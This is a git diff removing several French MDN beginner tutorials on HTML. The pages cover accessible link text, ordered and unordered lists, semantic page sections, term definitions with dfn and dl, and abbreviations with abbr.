Il peut arriver qu'un lien soit utilisé pour télécharger un fichier plutôt que d'ouvrir une nouvelle page. L'attribut download peut être utilisé pour fournir un nom par défaut, à donner au fichier. Voici un exemple de lien de téléchargement pour télécharger Firefox 39 pour Windows :

- -
<a href="https://download.mozilla.org/?product=firefox-39.0-SSL&os=win&lang=fr"
-   download="installateur-firefox-39.exe">
-  Téléchargez Firefox
-</a>
- -

Écrire des liens accessibles

- -

Ajouter des liens à une page est plutôt facile mais ce n'est pas tout. Les liens de vos pages doivent être accessibles à tous vos lecteurs, quel que soit le contexte de lecture et les outils qu'ils utilisent. Les visiteurs qui utilisent des lecteurs d'écran peuvent vouloir sauter de lien en lien, le texte d'un lien doit donc être compréhensible. Voici quelques règles et bonnes pratiques à mettre en œuvre.

- -
-
Le texte d'un lien doit être compréhensible seul
-
-

Les visiteurs qui utilisent des lecteurs d'écran passent de lien en lien. Les moteurs de recherche utilisent le texte des liens pour indexer les pages ciblées. Certains visiteurs regardent les liens plutôt que les autres textes. Pour ces raisons, le texte d'un lien doit avoir un sens sans aucun autre contexte.

- -
-

Note : Dans notre exemple, le texte du lien commence par un verbe d'action. Cela permet au lecteur de sentir une progression dans ces actions et plus généralement de préciser le rôle du lien.

-
- -

Texte compréhensible : Télécharger Firefox

- - 
<a href="https://firefox.com/">
-  Télécharger Firefox
-</a>
- -

Mauvais exemple : Cliquez ici pour télécharger Firefox

- - 
<a href="https://firefox.com/">
-  Cliquez ici
-</a>
-pour télécharger Firefox
-
-
-
N'ajoutez pas « lien vers » dans le texte du lien
-
-

Cela n'apporte aucune plus-value. Les lecteurs d'écran indiquent que l'élément est un lien. Les visiteurs qui utilisent directement un navigateur voient que c'est un lien grâce au soulignement et à sa couleur distinctive (et c'est également pour cette raison qu'il ne faut pas retirer la mise en forme d'un lien).

- -

Bon exemple : En savoir plus sur Firefox OS

- - 
<a href="https://developer.mozilla.org/Firefox_OS">
-  En savoir plus sur Firefox OS
-</a>
- -

Mauvais exemple : Voici un lien sur Firefox OS

- - 
Voici un
-<a href="https://developer.mozilla.org/Firefox_OS">
-  lien sur Firefox OS
-</a>
-
-
Indiquez la cible du lien plutôt que de copier-coller une URL
-
-

Les URL sont illisibles, encore plus lorsqu'elles sont lues par un lecteur d'écran, lettre par lettre.

- -

Bon exemple : Candidatez pour un stage chez Mozilla

- - 
<a href="https://careers.mozilla.org/university/">
-  Candidatez pour un stage chez Mozilla
-</a>
- -

Mauvais exemple : https://careers.mozilla.org/university/

- - 
<a href="https://careers.mozilla.org/university/">
-  https://careers.mozilla.org/university/
-</a>
-
-
Le texte d'un lien doit être concis
-
-

Les longs textes de lien font perdre en lisibilité et ralentissent la navigation avec les lecteurs d'écrans.

- Bon exemple : Voici une page où vous pouvez télécharger Firefox - - 
Voici une page où vous pouvez
-<a href="https://www.mozilla.org/firefox/all/">
-  télécharger Firefox
-</a>
-
- -

Mauvais exemple : Voici une page où vous pouvez télécharger Firefox en 90 langues différentes, pour quatre systèmes d'exploitation différents

- - 
Voici une page où
-<a href="https://www.mozilla.org/firefox/all/">
-  vous pouvez télécharger Firefox en 90 langues différentes, pour quatre systèmes d'exploitation différents
-</a>
-
-
-
Indiquez à quoi correspond la cible du lien
-
-

Cela peut paraître évident mais on rencontre parfois des liens dont les textes n'ont rien à voir avec la destination. Soyez explicite, cela simplifiera la navigation pour vos lecteurs et améliorera votre référencement.

- -

Bon exemple : Téléchargez Firefox, le navigateur développé par Mozilla : stable, sûr et rapide.

- -

Mauvais exemple : Voici une autre application qui améliorera votre navigation sur le Web.

-
-
- -

Perfectionner ses liens

- -
-
Faites attention à l'ordre de navigation grâce aux tabulations
-
De nombreuses personnes utilisent le clavier pour naviguer sur une page web. La touche de tabulation est une des seules méthodes permettant de passer d'un lien à un autre. Par défaut, l'ordre de cette navigation correspondra à celui du document HTML. Toutefois, il est possible de surcharger cet ordre grâce à l'attribut {{htmlattrxref("tabindex")}}. Attention toutefois à bien utiliser CSS pour que l'ordre visuel (ou celui déterminé par un lecteur d'écran) soit logique pour le lecteur.
-
Gardez des liens suffisamment grands
-
-

Assurez-vous que vos liens puissent être déclenchés facilement, à la souris ou au toucher. CSS peut être utilisé pour cela. Une recherche basée sur l'expérience des utilisateurs indique que les liens devraient mesurer 72 pixels (45px étant la taille minimale). Attention à ne pas oublier ce point, notamment si vous utilisez une souris ou un pad sur votre poste de travail.

-
-
Soulignez les liens et uniquement les liens
-
Lorsque les visiteurs d'un site voient un texte souligné, ils s'attendent à ce que ce texte soit un lien. Pour cette raison, ne soulignez que les liens. Il n'est pas strictement nécessaire de souligner les liens mais la couleur ne suffira pas pour indiquer qu'un texte est un lien.
-
Utilisez une couleur distincte et identifiable pour vos liens
-
Le bleu est utilisé par défaut pour les liens. Vous pouvez utiliser une autre couleur mais celle-ci doit former un contraste suffisant avec l'arrière-plan.
-
Utilisez une mise en forme distincte pour les liens inhabituels
-
Utilisez CSS pour indiquer aux visiteurs que le lien a un comportement spécifique (un lien externe, un lien qui ouvre une page dans un nouvel onglet, un lien qui ouvre une page dans une autre langue). Voir également {{htmlattrxref("hreflang","a")}}). Sur MDN, par exemple, on ajoute un symbole devant les liens externes (par exemple l'article de Wikipédia sur Firefox OS).
-
Fournissez des cibles et des textes pour tous les liens
-
S'il n'y a pas de texte, il ne sera pas possible de voir le lien et les lecteurs d'écran diront juste « lien fin lien ». S'il n'y a pas de cible (pas de {{htmlattrxref("href")}} ou un href vide ou href="#"), le lien ne mènera nulle part.
-
- -

En savoir plus

- - diff --git "a/files/fr/apprendre/html/comment/cr\303\251er_une_liste_d_\303\251l\303\251ments_avec_html/index.html" "b/files/fr/apprendre/html/comment/cr\303\251er_une_liste_d_\303\251l\303\251ments_avec_html/index.html" deleted file mode 100644 index e7c828c348..0000000000 --- "a/files/fr/apprendre/html/comment/cr\303\251er_une_liste_d_\303\251l\303\251ments_avec_html/index.html" +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: Créer une liste d'éléments avec HTML -slug: Apprendre/HTML/Comment/Créer_une_liste_d_éléments_avec_HTML -tags: - - Beginner - - Guide - - HTML -translation_of: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Lists -translation_of_original: Learn/HTML/Howto/Create_list_of_items_with_HTML ---- -
-

Vous souhaitez ajouter une liste numérotée ou une liste à puces. Quel que soit son type, HTML permet de dresser une liste très rapidement.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
Objectifs :Apprendre à mettre en place des listes (ordonnées et non-ordonnées) avec HTML.
- -

Les listes non-ordonnées et les listes ordonnées

- -
-
Les listes non-ordonnées
-
-

Comme leur nom l'indique, les listes non-ordonnées n'ont pas de notion d'ordre et on peut mélanger leurs éléments sans que cela modifie leur sens. Une liste de courses est un bon exemple de liste non-ordonnée (l'ordre dans lequel on achète les produits n'a pas grande importance) :

- -

Croustille, moutarde

- -

(Photo par Joseph SARDIN)

- -

Les listes non-ordonnées apparaissent parfois à des endroits inattendus : les barres de navigation sont par exemple des listes non-ordonnées auxquelles on a appliqué quelques règles CSS pour la mise en forme.

-
-
Les listes ordonnées
-
-

Dans ce cas, les éléments de la liste doivent être lus ou réalisés dans un ordre donné, les éléments sont donc numérotés. On retrouve souvent ces listes pour décrire des processus pas-à-pas (comme un mode d'emploi ou une recette) où chaque étape ne peut être réalisée que si l'action précédente a été traitée :

-
-
- -

Construire des listes avec HTML

- -

Comment donc construire une liste avec HTML ? Pour commencer, il faudra répondre à une question : si on mélange les éléments de la liste, est-ce que le sens de la liste change également ?

- - - -

Ajouter des éléments à une liste

- -

Toute la liste sera placée dans les balises {{htmlelement("ol")}} ou {{htmlelement("ul")}}. Chacun des éléments de la liste sera placé à l'intérieur d'un élément {{htmlelement("li")}}. Voici un exemple qui contient les deux types de liste :

- -
<h1>Guacamole rapide à faire</h1>
-
-<h2>Ingrédients</h2>
-<ul>
-  <li>2 avocats (pelés et avec les noyaux retirés)</li>
-  <li>le jus d'un citron</li>
-  <li>¼ de concombre, coupé grossièrement</li>
-  <li>1 petite tomate, coupée</li>
-</ul>
-
-<h2>Instructions</h2>
-<ol>
-  <li>Écrasez délicatement les avocats avec une fourchette</li>
-  <li>Placez la purée obtenue dans un plat et arrosez avec le jus de citron</li>
-  <li>Mélangez pour que le jus de citron empêche la purée d'avocat de noircir</li>
-  <li>Mélangez la tomate et le concombre coupés</li>
-  <li>Gardez au frais et servir rapidement avec des tortillas</li>
-</ol>
-
- -

Par défaut, le navigateur utilisera des chiffres pour les listes ordonnées et des puces (rondes) pour les listes non-ordonnées :

- -

{{EmbedLiveSample('Ajouter_des_éléments_à_une_liste','100%',350)}}

- -

Comment modifier la numérotation ou les puces

- -

Avec HTML

- - - -

Par exemple, ici, on aura une liste qui utilise des lettres majuscules et qui commence à partir de C :

- -
<ol start="3" type="A">
-  <li>Je suis premier</li>
-  <li>Je suis deuxième</li>
-  <li>Je suis troisième</li>
-</ol>
- -

Ce qui donne :

- -

{{EmbedLiveSample('Avec_HTML','100%',90)}}

- -

Avec CSS

- -

Les attributs HTML permettent de modifier le contenu d'une liste. Pour ajuster l'aspect cosmétique d'une liste, il faudra utiliser CSS.

- - - -

CSS peut permettre d'obtenir des effets très complexes (comme un système de comptage personnalisé). Si vous souhaitez apprendre CSS, vous pouvez parcourir le Guide CSS et voir comment appliquer des règles CSS à une page web.

- -

Prenons un rapide exemple. Voici une liste HTML non-ordonnée :

- -
<ul>
-  <li>J'ai un point</li>
-  <li>J'ai un cercle</li>
-  <li>J'ai aussi un cercle</li>
-</ul>
- -

Ces règles CSS permettront que la puce des éléments soit un cercle, sauf pour le premier (où ce sera un point) :

- -
ul {
-  list-style-type: circle;
-}
-
-li:first-child {
-  list-style-type: disc;
-}
-
- -

Ce code donnera :

- -

{{EmbedLiveSample('Avec_CSS','100%',90)}}

- -

Les listes imbriquées

- -

On voit souvent plusieurs listes placées les unes dans les autres. Autrement dit, on peut imbriquer des listes (un élément d'une liste sera une liste entière) :

- -
<ul>
-	<li>Un composant</li>
-	<li>Un processus :
-		<ol>
-			<li>Étape 1</li>
-			<li>Étape 2</li>
-			<li>Étape 3</li>
-		</ol>
-	</li>
-	<li>Un composant</li>
-</ul>
-
- -

Cela donnera le résultat suivant :

- -

{{ EmbedLiveSample('Les_listes_imbriquées','100%',150) }}

- -

Les menus de navigation utilisent parfois des listes imbriquées. Pour étudier un exemple réel, vous pouvez inspecter le code HTML du menu MDN qui se situe en haut de cette page.

- -

En savoir plus

- - diff --git "a/files/fr/apprendre/html/comment/d\303\251couper_une_page_web_en_sections_logiques/index.html" "b/files/fr/apprendre/html/comment/d\303\251couper_une_page_web_en_sections_logiques/index.html" deleted file mode 100644 index 170ad81290..0000000000 --- "a/files/fr/apprendre/html/comment/d\303\251couper_une_page_web_en_sections_logiques/index.html" +++ /dev/null @@ -1,229 +0,0 @@ ---- -title: Découper une page web en sections logiques -slug: Apprendre/HTML/Comment/Découper_une_page_web_en_sections_logiques -tags: - - Beginner - - DesignAccessibility - - HTML - - Learn -translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure -translation_of_original: Learn/HTML/Howto/Divide_a_webpage_into_logical_sections ---- -
-

Dans cet article, nous verrons comment structurer un document afin que son plan soit logique pour vous, vos visiteurs dont ceux qui utilisent des technologies d'aide à la navigation.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
Objectifs :Apprendre comment structurer un document web grâce aux balises sémantiques.
- -

Les sections de base

- -

Les sites web ont chacun leur style mais tous ont tendance à partager des composants communs :

- -
-
l'en-tête (header)
-
Il s'agit généralement d'un grande bande horizontale, située en haut du site avec un grand titre et/ou un logo. C'est à cet endroit qu'on a toujours la même information sur le site, quelle que soit la page du site sur laquelle on est.
-
la barre de navigation
-
Celle-ci permet de faire référence aux différentes sections du site via des menus ou des onglets. Comme pour l'en-tête, la barre de navigation sera généralmeent présente sur l'ensemble du site. De nombreux concepteurs web considèrent que la barre de navigation fait partie intégrale de l'en-tête mais ce n'est pas strictement nécessaire.
-
le contenu principal
-
Une zone importante, située au centre dont le contenu est spécifique selon la page visitée.
-
le panneau ou la barre latéral-e (sidebar)
-
Il contient des informations périphériques, des liens, des citations, des publicités. Généralement, ce panneau dépend du contenu principal de la page mais on trouve également des panneaux latéraux qui agissent comme des menus de navigation secondaires.
-
le pied de page (footer)
-
C'est ici qu'on trouvera les informations de contact, de copyright… C'est un endroit où on place des informations communes à l'ensemble du site mais qui ne sont pas primordiales pour le site en tant que tel. Le pied de page est parfois utilisé par les outils de référencement afin de fournir un accès rapide à certaines parties du site.
-
- -

Lorsqu'on assemble ces éléments, on arrive à quelque chose qui ressemble grosso modo à :

- -

[Diagram indicating the divisions with visual cues]

- -

HTML à la rescousse

- -

Dans le dessin précédent, des indications visuelles permettent d'identifier rapidement l'en-tête, la barre de navigation, le contenu, etc. Cela dit, un site ne se résume pas à son aspect visuel. Une personne qui serait déficiente sur le plan visuel (par exemple quelqu'un qui est daltonien, comme 8% de la population mondiale) pourra tirer partie de concepts comme « barre de navigation » et « contenu principal », en revanche, « taille de police plus grande » et « vert clair » seront inutiles.

- -

Dans votre code HTML, vous pouvez identifier les sections en fonction de leur fonctionnalité. C'est ce que nous verrons dans la suite de cet article. Pour savoir comment ajouter des indications visuelles, vous pouvez consulter notre tutoriel CSS.

- -

Pour structurer une page avec cette sémantique, HTML fournit des balises dédiées :

- - - -
-

Pour la barre de navigation, on trouvera souvent une liste, non-ordonnée, de liens placée dans un élément <nav>. Chris Coyier résume les avantages et inconvénients entre les listes et les liens directs.

-
- -

Quel élément utiliser

- -

Vous pouvez être confronté-e à d'autres scénarios que celui que nous venons de voir. Dans la liste qui suit, nous verrons des descriptions plus détaillées des éléments HTML liés aux sections d'un document :

- - - -
-

Attention : Les éléments <div> sont parfois si pratiques qu'on en utilise trop. Ces éléments ne portent aucune sémantique, il ne font qu'encombrer le code HTML. Attention donc à ne les utiliser que lorsqu'il n'existe pas de meilleure solution sémantique. S'ils sont trop présents, cela rendra les mises à jour et la maintenance plus difficiles.

-
- -

Exemple

- -

Exprimé sous forme de code HTML, le dessin présenté ci-avant correspondrait à :

- -
<!DOCTYPE html>
-<html lang="fr">
-<head>
-  <meta charset="utf-8">
-  <title>Document HTML</title>
-</head>
-<body>
-
-  <!--
-  Voici l'en-tête principal, utilisé sur les
-  différentes pages du site web
-  -->
-  <header>
-    header
-
-    <!--
-    Bien que ce ne soit pas obligatoire, on trouve
-    généralement un menu de navigation dans l'en-tête
-    principal
-    -->
-    <nav>
-      <ul>
-        <li><a href="#">Navigation</a></li>
-        <li><a href="#">Qui nous sommes</a></li>
-        <li><a href="#">Ce que nous faisons</a></li>
-        <li><a href="#">Contact</a></li>
-      </ul>
-
-      <!--
-      Une barre de recherche est un outil de navigation
-      "non-linéaire" au sein du site web.
-      -->
-      <form>
-        <input type="search" name="q" placeholder="Recherchez...">
-        <input type="submit" value="OK">
-      </form>
-    </nav>
-  </header>
-
-  <!--
-  Voici le contenu principal
-  -->
-  <main>
-
-    <!--
-    Il contient un article
-    -->
-    <article>
-      <h1>Titre</h1>
-      <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit.
-      Donec a diam lectus. Set sit amet ipsum mauris. Maecenas congue
-      ligula as quam viverra nec consectetur ant hendrerit. Donec et
-      mollis dolor. Praesent et diam eget libero egestas mattis sit
-      amet vitae augue. Nam tincidunt congue enim, ut porta lorem
-      lacinia consectetur.</p>
-
-      <h2>Sous-section</h2>
-      <p>Donec ut librero sed accu vehicula ultricies a non tortor.
-      Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aenean
-      ut gravida lorem. Ut turpis felis, pulvinar a semper sed,
-      adipiscing id dolor.</p>
-
-      <p>Pelientesque auctor nisi id magna consequat sagittis.
-      Curabitur dapibus, enim sit amet elit pharetra tincidunt feugiat
-      nist imperdiet. Ut convallis libero in urna ultrices accumsan.
-      Donec sed odio eros.</p>
-
-      <h2>Une autre sous-section</h2>
-      <p>Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus.
-      Cum soclis natoque penatibus et manis dis parturient montes,
-      nascetur ridiculus mus. In rutrum accumsan ultricies. Mauris
-      vitae nisi at sem facilisis semper ac in est.</p>
-
-      <p>Vivamus fermentum semper porta. Nunc diam velit, adipscing ut
-      tristique vitae sagittis vel odio. Maecenas convallis ullamcorper
-      ultricied. Curabitur ornare, ligula semper consectetur sagittis,
-      nisi diam iaculis velit, is fringille sem nunc vet mi.</p>
-    </article>
-
-    <!--
-    le contenu placé sur le côté peut aussi
-    être dans le contenu principal
-    -->
-    <aside>
-      <p>N'hésitez pas à rendre visite à nos sponsors !</p>
-      <ul>
-        <li><a href="#">item</a></li>
-        <li><a href="#">item</a></li>
-        <li><a href="#">item</a></li>
-        <li><a href="#">item</a></li>
-        <li><a href="#">item</a></li>
-      </ul>
-    </aside>
-  </main>
-
-  <!--
-  Enfin, voici le pied de page principal,
-  utilisé sur les différentes pages du site.
-  Note : Ceci est une fausse déclaration de copyright
-  Attention à celles qui sont réelles.
-  -->
-  <footer>
-    ©Copyright 2050 par exemple.com. Tous droits réservés.
-  </footer>
-</body>
-</html>
-
- -

Les rôles ARIA, qu'est-ce que c'est ?

- -

HTML a initialement été conçu pour définir la structure d'un document. Or, il est désormais utilisé pour créer des applications web.

- -

{{Glossary("ARIA")}} est une méthode qui permet d'indiquer aux technologies d'aide à la navigation qu'un élément HTML possède des fonctionnalités web applicatives.

- -

Certains éléments HTML5 comme {{HTMLElement('nav')}} permettent de contenir des informations de ce genre et rendent (dans ce cas particulier) les attributs ARIA redondants. Cela dit, si vous utilisez des technologies qui ne supportent pas encore HTML5 ou que vous souhaitez utiliser un élément qui n'a pas de sémantique particulière (par exemple {{HTMLElement('div')}}) , vous pouvez appliquer des rôles ARIA de cette façon:

- - - -

Pour en savoir plus à propos d'ARIA, consultez notre documentation.

- -

En savoir plus

- - diff --git "a/files/fr/apprendre/html/comment/d\303\251finir_des_termes_avec_html/index.html" "b/files/fr/apprendre/html/comment/d\303\251finir_des_termes_avec_html/index.html" deleted file mode 100644 index 3e8aa64e90..0000000000 --- "a/files/fr/apprendre/html/comment/d\303\251finir_des_termes_avec_html/index.html" +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: Définir des termes avec HTML -slug: Apprendre/HTML/Comment/Définir_des_termes_avec_HTML -tags: - - Beginner - - Guide - - HTML - - Learn -translation_of: Learn/HTML/Howto/Define_terms_with_HTML ---- -
-

HTML fournit plusieurs méthodes pour décrire la sémantique du contenu qu'on emploie (que ce soit intégré dans le texte ou dans un glossaire à part). Dans cet article, nous verrons comment correctement définir les termes utilisés au sein d'un document.

-
- - - - - - - - - - - - -
Prérequis :Vous devez au préalable savoir comment créer un document HTML simple.
Objectifs :Apprendre comment introduire de nouveaux mots-clés et comment construire une liste de définitions.
- -

Lorsqu'on souhaite définir un terme, on utilise généralement un dictionnaire ou un glossaire. Les dictionnaires et glossaires permettent d'associer formellement des termes clés avec une ou plusieurs descriptions. Par exemple :

- -
-
-
Bleu (adjectif)
-
La couleur du ciel lors d'un temps clair.
- Le ciel est bleu.
-
Se dit d'une viande lorsqu'elle est saisie rapidement, au grill, de chaque côté.
- Un steak bleu s'il vous plaît.
-
-
- -

Mais il arrive fréquemment qu'on définisse des termes de façon moins formelle, comme ici :

- -
-

Firefox est le navigateur web créé et développé par la Fondation Mozilla.

-
- -

Pour gérer ces différents cas d'utilisation, {{Glossary("HTML")}} fournit différents éléments qui permettent de marquer les termes définis et leurs descriptions afin que vos lecteurs puissent utiliser ces informations.

- -

Comment écrire un description informelle

- -

Dans certains manuels, à la première occurence d'un terme, celui-ci est placé en gras et défini immédiatement.

- -

On peut procéder de cette façon avec HTML. En revanche, HTML ne gère pas l'aspect visuel d'un document, uniquement son contenu. On utilisera l'élément {{htmlelement("dfn")}} qui permet d'identifier la première occurence d'un terme. Attention, <dfn> enveloppe le terme à définir et pas sa définition (qui elle s'étend sur le paragraphe courant) :

- -
<p><dfn>Firefox</dfn> est le navigateur créé et développé par la Fondation Mozilla.</p>
-
- -
-

Note : On utilise également parfois le gras pour mettre en avant du contenu. Le gras, en tant que tel, est un concept qui n'appartient pas à HTML mais à la mise en forme. En revanche, pour mettre en avant (utiliser une emphase), il existe des éléments HTML tout indiqués.

-
- -

Cas spécifique : les abréviations

- -

En ce qui concerne les abréviations, il est préférable de les identifier séparement grâce à l'élément {{htmlelement("abbr")}} afin que les lecteurs d'écrans puissent les utiliser correctement. Comme pour la définition d'un nouveau terme, une abréviation doit être définie lors de sa première apparition.

- -
<p>
-  <dfn><abbr>HTML</abbr> (hypertext markup language)</dfn>
-   est un langage de description utilisé pour structurer des documents sur le Web.
-</p>
- -
-

La spécification HTML met en avant l'attribut title pour expliciter les termes de l'abréviation. Cependant, il reste nécessaire d'utiliser le texte classique pour fournir une explication car le contenu de l'attribut title ne sera pas montré aux utilisateurs, sauf si ceux-ci passent la souris au-dessus de l'abréviation. C'est également ce qui est noté dans les spécifications.

-
- -

Améliorer l'accessibilité

- -

{{HTMLElement('dfn')}} identifie le terme qui est défini et indique que le paragraphe courant définit le terme. Il y a donc une relation implicite entre l'élément <dfn> et l'élément qui le contient. Si vous souhaitez avoir une relation plus formelle ou que votre définition ne s'étend que sur une ou plusieurs phrases plutôt que sur l'ensemble du paragraphe, vous pouvez utiliser l'attribut aria-discribedby pour associer, formellement, un terme à sa définition :

- -
<p>
-  <span id="ff">
-    <dfn aria-describedby="ff">Firefox</dfn>
-    est le navigateur web créé et développé par la Fondation Mozilla.
-  </span>
-  Vous pouvez le télécharger sur <a href="http://www.mozilla.org">mozilla.org</a>
-</p>
- -

Les technologies d'assistance à la navigation pourront tirer parti de cet attribut pour fournir un texte alternatif pour un terme donné. aria-describedby peut être utilisé pour n'importe quelle balise contenant un mot-clé à définir (il n'est pas nécessaire que ce soit <dfn>). aria-describedby utilise un référence à l'{{htmlattrxref('id')}} de l'élément qui contient la description.

- -

Comment construire une liste de descriptions

- -

Les listes de descriptions sont des listes de termes associés à leur description (par exemple une liste de définition, des entrées d'un dictionnaire, une FAQ, des paires de clés-valeurs, etc.).

- -
-

Les listes de descriptions ne doivent pas être utilisées pour retranscrire des dialogues. En effet, la conversation ne décrit pas les différents interlocuteurs. Voici quelques recommandations pour retranscrire un dialogue dans un document web.

-
- -

Les termes à décrire sont placés dans des éléments {{htmlelement("dt")}} et la description, qui suit immédiatement, est placée dans un ou plusieurs éléments {{htmlelement("dd")}}. Enfin, l'ensemble de la liste est placé au sein d'un élément {{htmlelement("dl")}}.

- -

Un exemple simple

- -

Voici un exemple simple qui dresse une liste de descriptions de plats :

- -
<dl>
-  <dt>jambalaya</dt>
-    <dd>
-      une entrée à base de riz qui contient généralement
-      du poulet, des saucisses, des fruits de mer et des
-      épices
-    </dd>
-
-  <dt>sukiyaki</dt>
-    <dd>
-      une spécialité japonaise à base de fines tranches de
-      viande, de légumes, de nouilles et qui est cuite dans
-      un sauce soja et du saké
-    </dd>
-
-  <dt>chianti</dt>
-    <dd>
-      un vin italien, sec, originaire de Toscane
-    </dd>
-</dl>
-
- -
-

La structure de base qu'on voit dans cet exemple alterne les termes (<dt>) et leurs descriptions (<dd>). Si deux (ou plusieurs) termes apparaissent les uns à la suite des autres, la description qui suit s'appliquera à tout ces termes. Si deux (ou plusieurs) descriptions se suivent, elles s'appliqueront au dernier terme.

-
- -

Améliorer l'aspect visuel

- -

Voici comment un navigateur affichera la liste précédente :

- -

{{EmbedLiveSample("Un_exemple_simple", 600, 180)}}

- -

Si vous souhaitez que les termes soient plus visibles, vous pouvez les écrire en gras. Cela ne change rien au contenu, donc ce ne sera pas HTML qui sera utilisé. En revanche, cela modifie la mise en forme et nous allons donc utiliser CSS et plus particulièrement la propriété {{cssxref("font-weight")}} :

- -
dt {
-  font-weight: bold;
-}
-
- -

Cela permettra d'obtenir le résultat suivant :

- -

{{EmbedLiveSample("Comment_construire_une_liste_de_descriptions", 600, 180)}}

- -

En savoir plus

- - diff --git "a/files/fr/apprendre/html/comment/identifier_et_expliquer_des_abr\303\251viations/index.html" "b/files/fr/apprendre/html/comment/identifier_et_expliquer_des_abr\303\251viations/index.html" deleted file mode 100644 index 99ad7a8733..0000000000 --- "a/files/fr/apprendre/html/comment/identifier_et_expliquer_des_abr\303\251viations/index.html" +++ /dev/null @@ -1,270 +0,0 @@ ---- -title: Identifier et expliquer des abréviations avec HTML -slug: Apprendre/HTML/Comment/Identifier_et_expliquer_des_abréviations -tags: - - Beginner - - HTML - - Learn - - OpenPractices -translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Abbreviations -translation_of_original: Learn/HTML/Howto/Mark_abbreviations_and_make_them_understandable ---- -
-

HTML fournit une méthode simple et rapide pour indiquer la présence d'abrévations et pour fournir leur signification au lecteur.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
Objectifs :Apprendre à indiquer des abréviations et des acronymes avec HTML.
- -

À propos des abréviations

- -

Lorsqu'on écrit, on utilise fréquemment des abréviations et des acronymes. Une abréviation est une notation raccourcie : par exemple, on écrit parfois « dev » à la place de « développeur ». Un acronyme est une combinaison, lisible, des initiales d'un groupe de termes, par exemple « NASA » signifie « National Aeronautics and Space Administration ».

- -

Il est nécessaire de s'assurer que l'abréviation puisse être comprise par les visiteurs de la page. Sur le papier, on explicite généralement la première occurence de l'abréviation en utilisant la forme complète et abrégée avant d'utiliser la forme abrégée pour les occurences suivantes :

- -
L'Union Européenne (UE) est composée de 28 états et les États-Unis d'Amérique (USA) contient 50 états. Les USA sont une république fédérale et l'UE est une association politique et économique de plusieurs états indépendants.
- -
-

Cette méthode peut parfaitement s'appliquer aux pages web mais HTML fournit un outil supplémentaire pour expliquer une abréviation aux lecteurs d'une page web.

-
- -

L'élément <abbr>

- -

L'élément HTML abbreviation (pour abréviation en anglais) ({{HTMLElement("abbr")}}) est utilisé pour identifier les abrévations et les acronymes et permettre aux lecteurs qui ne connaitraient pas le terme de lire et comprendre le texte correctement (éventuellement grâce à un lecteur d'écran). Cet élément doit être utilisé dès que possible.

- -
-

Note : Si vous entendez parler de l'élément <acronym>, sachez qu'il est désormais déprécié et qu'il ne devrait donc plus être utilisé car les {{Glossary("navigateur","navigateurs")}} pourraient arrêter de le supporter à tout moment.

-
- -
<p>Pouvez-vous m'envoyer les documents <abbr>SVP</abbr> ?</p>
- -

Il est possible d'épeler les abréviations grâce à l'attribut title de l'élément :

- -
<p>Pouvez-vous m'envoyer les documents <abbr title="s'il vous plaît">SVP</abbr> ?</p>
- -

Quand faut-il renseigner l'attribut title ? Ça dépend. Il n'est peut-être pas nécessaire de définir une abrévation comme « SVP » ou lorsqu'une abréviation est utilisée à de nombreuses reprises dans le document. Dans le doute, ajoutez la description complète.

- -
-

Note : Pour les langues qui possèdent un « nombre » grammatical et notamment celles qui possèdent plus de deux nombres grammaticaux comme l'Arabe, il faudra utiliser le même nombre grammatical dans l'attribut title que celui de l'élément <abbr>.

-
- -

Grâce à {{glossary("CSS")}}, vous pouvez ajouter, modifier ou retirer les indications visuelles autour de l'abréviation. Généralement, pour une abréviation, le navigateur affichera le contenu de l'attribut title dans une bulle lors du passage de la souris sur le texte de l'abrévation. Pour l'exemple précédent, on aura ce résultat :

- -

{{EmbedLiveSample("L'élément_<abbr>",'100%',90)}}

- -
-

Important : Si vous souhaitez que vos lecteurs/visiteurs comprennent l'abréviation à coup sûr, ne comptez pas seulement sur l'attribut title. Épelez l'abréviation dans le texte du document lors de la première occurence. En effet, il faut une souris pour pouvoir activer la bulle d'information qui utilisera le texte de title. Dès lors, les personnes qui utilisent un téléphone, un clavier ou un lecteur d'écran pourront plus difficilement (voire pas du tout) accéder à l'explication si celle-ci n'est présente qu'avec title.

-
- -

Exercice

- -

Afin de mieux connaître l'élément {{HTMLElement('abbr')}}, faisons un léger exercice. Dans le texte qui suit, identifiez les abréviations avec <abbr> et épelez les avec l'attribut title. Une fois que vous avez fini, cliquez sur « Afficher les résultats » pour voir si vous avez tout trouvé. Ces abréviations peuvent être trouvées dans le glossaire.

- - - -

{{EmbedLiveSample('Exercice','100%',220)}}

- -

En savoir plus

- - diff --git a/files/fr/apprendre/html/comment/index.html b/files/fr/apprendre/html/comment/index.html deleted file mode 100644 index 3db762dc5a..0000000000 --- a/files/fr/apprendre/html/comment/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: Apprendre à utiliser HTML pour résoudre des problèmes -slug: Apprendre/HTML/Comment -tags: - - CodingScripting - - HTML -translation_of: Learn/HTML/Howto ---- -

Une fois les bases acquises, il n'existe pas de voie idéale pour apprendre {{Glossary("HTML")}}. Vous pouvez ensuite progresser à votre rythme, en utilisant les balises qui vous sont utiles. HTML n'est qu'un ensemble de balises que vous pouvez utiliser pour structurer votre document et lui ajouter des fonctionnalités supplémentaires. Dans les articles suivants, nous travaillerons sur différents exemples illustrant comment utiliser HTML pour résoudre des problèmes fréquents qu'on rencontre lorsqu'on développe pour le Web. Si vous avez besoin d'explications détaillées sur une balise HTML donnée, n'hésitez pas à consulter notre référence HTML.

- -

Cas d'utilisation fréquents

- -

HTML permet de résoudre de nombreux problèmes qui se posent lors de la conception de sites web. Il est très probable que vous rencontriez au moins l'un de ces scénarios :

- -
-
-

Structure de base

- -

En HTML, tout commence par la structure du document. Si vous débutez avec HTML, vous devriez démarrer avec :

- - - -

Sémantique de base pour le texte

- -

Le but de HTML est de fournir des informations sémantiques (c'est-à-dire sur le sens) d'un document et de ce qui le compose. HTML permettra donc de répondre à de nombreuses questions sur le sens du texte qu'on veut utiliser dans un document.

- - -
- -
-

Les hyperliens

